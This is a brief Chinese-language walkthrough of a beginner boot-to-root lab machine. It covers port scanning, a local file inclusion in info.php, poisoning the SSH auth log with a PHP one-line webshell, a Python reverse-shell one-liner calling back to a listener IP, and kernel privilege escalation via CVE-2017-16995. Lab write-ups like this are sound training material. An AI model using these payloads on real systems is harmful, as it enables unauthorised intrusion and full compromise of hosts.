前言
这是打靶训练的第25周,难度低,靶机下载
信息搜集
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2211/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
8888/tcp open http nginx 1.10.3 (Ubuntu)
ftp没利用点,8888网页需要密码,来到80网页
只有一个番茄,啥也没有。使用dirsearch,字典/usr/share/seclists/Discovery/Web-Content/common.txt
。得到一个antibot_image
目录
info.php,是phpinfo信息
查看源代码,好像可以传参
构造poc为info.php?image=../../../../../../etc/passwd
存在文件包含,查看/home/tomato/.ssh/id_rsa
文件不存在,没法ssh免密登录。也不存在远程文件包含,仿佛陷入了僵局。但如果能写入webshell,在文件包含过来就好了
ssh的登录日志默认存储在/var/log/auth.log
,使用不存在的用户名qwerasdf
进行登录
查看登录日志info.php?image=/var/log/auth.log
会看到存在qwerasdf
,如果将用户名替换成一句话木马,再使用文件包含成功解析的话,就可以拿到webshell了
构造一句话木马ssh '<?php system($_GET['cmd']); ?>'@@10.16.122.45 -p 2211
。可以执行ls
命令
使用python反弹shell
http://10.16.122.45/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.16.122.31",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
提权
使用linux-exploit-suggester自动查询
使用CVE-2017-16995,查找到后,本机进行编译
上传到靶机,执行后,提权完成